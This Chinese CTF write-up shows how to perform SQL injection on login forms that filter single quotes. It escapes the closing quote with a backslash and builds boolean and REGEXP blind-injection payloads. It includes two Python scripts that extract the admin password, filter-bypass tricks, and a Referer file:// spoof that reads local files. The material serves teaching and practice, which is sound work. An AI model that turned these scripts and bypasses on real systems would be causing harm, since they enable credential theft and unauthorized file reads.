通过两道CTF题学习过滤单引号的SQL注入

0x00 前言

通常来说,在进行字符型的SQL注入时,都需要先将前面的引号等(以单引号为例)进行闭合才能执行我们构造的SQL语句,那么如果单引号被过滤了,是否还能够成功的SQL注入呢?

答案是可以,当你在判断登录时使用的是如下SQL语句:

select user from user where user='$_POST[username]' and password='$_POST[password]';

那么即使在过滤的时候将单引号过滤掉了,还是可以进行一定程度上的注入的,下面通过两道CTF题来进行介绍。


0x01 [BJDCTF 2020]简单注入

进入题目后就是一个登录框,名字也提示了要注入:
在这里插入图片描述
扫描目录发现hint.txt中的提示:
在这里插入图片描述
告诉了我们登录的sql语句:

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

稍微fuzz一下可以发现过滤了'"=-andselect等关键词,其中关键就是这个单引号,由hint已知这里是需要单引号进行闭合的,而单引号又被过滤了。

可以发现注释符#和反斜杠\并没有被过滤,既然注释符没有过滤,那么我们就可以注释掉最后一个单引号,这样就只剩下3个单引号需要处理。

而如果我们输入的用户名以反斜杠\结尾,例如POST:username=admin\&password=123456#,那么拼接进去后,\就可以将第2个单引号转义掉,如下:

select * from users where username='admin\' and password='123456#';

这样第1个单引号就会找第3个单引号进行闭合,后台接收到的username实际上是admin\' and password=这个整体,而这个用户名显然不存在,所以还是登录失败。

但是别忘了我们还有一个password变量可控,实际上我们已经解决了单引号的闭合问题了,下面的就是常规的思路,比如我们构造password为or 2>1#

那么拼接后的sql语句就为:

select * from users where username='admin\' and password=' or 2>1#';

很显然上面的语句会返回为真,通过这样的思路,我们就可以进行bool盲注:
在这里插入图片描述
在这里插入图片描述
最终脚本如下:

import requests

s = requests.Session()
url = 'http://6644a23a-145c-40a9-a969-90ff1f80ac4d.node3.buuoj.cn/'
flag = ''

def exp(i, j):
    payload = f"or (ascii(substr(password,{i},1))>{j})#"
    data = {
        "username": "admin\\",
        "password": payload
    }
    r = s.post(url, data=data)
    if "BJD needs to be stronger" in r.text:
        return True
    else:
        return False

for i in range(1, 100):
    low = 32 
    high = 127
    while (low <= high):
        mid = (low + high)//2
        if (exp(i, mid)):
            low = mid + 1
        else:
            high = mid - 1
    flag += chr((low+high+1)//2)
    print(flag)

运行脚本得到admin的密码:OhyOuFOuNdit,登录即可得到flag。
在这里插入图片描述


0x02 某道CTF入群题

同样也是一到登陆题,在check.php中给出了源码如下:

<?php 
include "config.php";
error_reporting(0);
highlight_file(__FILE__); 

$check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($check_list, $_POST['username'])){
    die('<h1>Hacking first,then login!Username is very special.</h1>'); 
}
if(preg_match($check_list, $_POST['passwd'])){
    die('<h1>Hacking first,then login!No easy password.</h1>');
}
$query="select user from user where user='$_POST[username]' and passwd='$_POST[passwd]'"; 
$result = mysql_query($query);
$result = mysql_fetch_array($result);
$passwd = mysql_fetch_array(mysql_query("select passwd from user where user='admin'"));
if($result['user']){
    echo "<h1>Welcome to CTF Training!Please login as role of admin!</h1>"; 
}
if(($passwd['passwd'])&&($passwd['passwd'] === $_POST['passwd'])){
    $url = $_SERVER["HTTP_REFERER"];
    $parts = parse_url($url);
    if(empty($parts['host']) || $parts['host'] != 'localhost'){
        die('<h1>The website only can come from localhost!You are not admin!</h1>');
    }
    else{
        readfile($url);
    }
}
?>

可以看到这一题的sql语句同样是下面这样:

select user from user where user='$_POST[username]' and passwd='$_POST[passwd]'

只不过过滤了更多的东西,下面思考如果进行绕过:

  • or可以用||进行绕过。
  • %00绕过注释符#、-- 的过滤
    (虽然%00在过滤列表中,但由于浏览器在传给php过程中会经过一次urldecode(),所以php接收到的并不是%00
  • /**/绕过空格的过滤。
  • 如果我们只需要得到user表下password字段的值,因为是在同一条语句中,所以select等查询语句的过滤对我们没有影响。
  • 反斜杠\没被过滤,思路还是利用转义单引号来构造闭合,然后再在password字段构造盲注语句进行注入。

现在就是如何构造盲注语句,常用的=><like等逻辑运算都被过滤掉了,这时候就需要用到REGEXP正则注入

在MySQL中除了可以使用LIKE ..%进行模糊匹配,同样也支持正则表达式的匹配,其使用REGEXP 操作符来进行正则表达式匹配。

正则表达式的规则就类似于PHP 或 Perl,下表中的正则模式可应用于 REGEXP 操作符中:
在这里插入图片描述

查找以Le开头的用户名:
在这里插入图片描述
查找以ck结尾的用户名:
在这里插入图片描述

回到题目中来,我们尝试将按照题目的sql逻辑构造如下语句:、
在这里插入图片描述
在这里插入图片描述

发现是能够进行真假判断的,如果第一个字母猜对了,我们只需要接着判断前两位的开头是否正确即可,然后以此类推,直到猜出全部字段的值:
在这里插入图片描述
在这里插入图片描述

在题目中进行一下验证,利用Intruder模块爆破一下:
在这里插入图片描述
在这里插入图片描述
可以看到在以dD开头时都返回了真,是因为使用regexp正则匹配时是不区分大小写,通常来说只需要加上binary即可解决这个问题,如||binart/**/passwd/**/regexp/**/"^a";%00,但是这一题过滤了in,所以目前我还没有想到好的方法进行大小写匹配。

但实际上这一题的密码都是由小写组成的,否则就只能去遍历所有情况进行爆破了。

最终的脚本如下:

import requests

s = requests.Session()
url = "http://47.102.127.194:8801/check.php"

str = '1234567890qwertyuiopasdfghjklzxcvbnm'
temp = ""
flag = ""

for i in range(30):
    for j in str:
        temp = flag
        temp += j
        #注意%00要用\00表示
        payload = f"||passwd/**/regexp/**/\"^{temp}\";\00"
        data = {
            "username":"\\",
            "passwd":payload
        }
        r = s.post(url, data=data)
        if "CTF Training" in r.text:
            flag = temp
            print(flag)
            break

运行脚本得到密码:d0itr1ght
在这里插入图片描述
得到密码后,后面的就比较简单了,adminadm/**/in绕过,然后用Referer利用file://localhost/..伪造本地读文件即可:
在这里插入图片描述
源码中得到flag:
在这里插入图片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章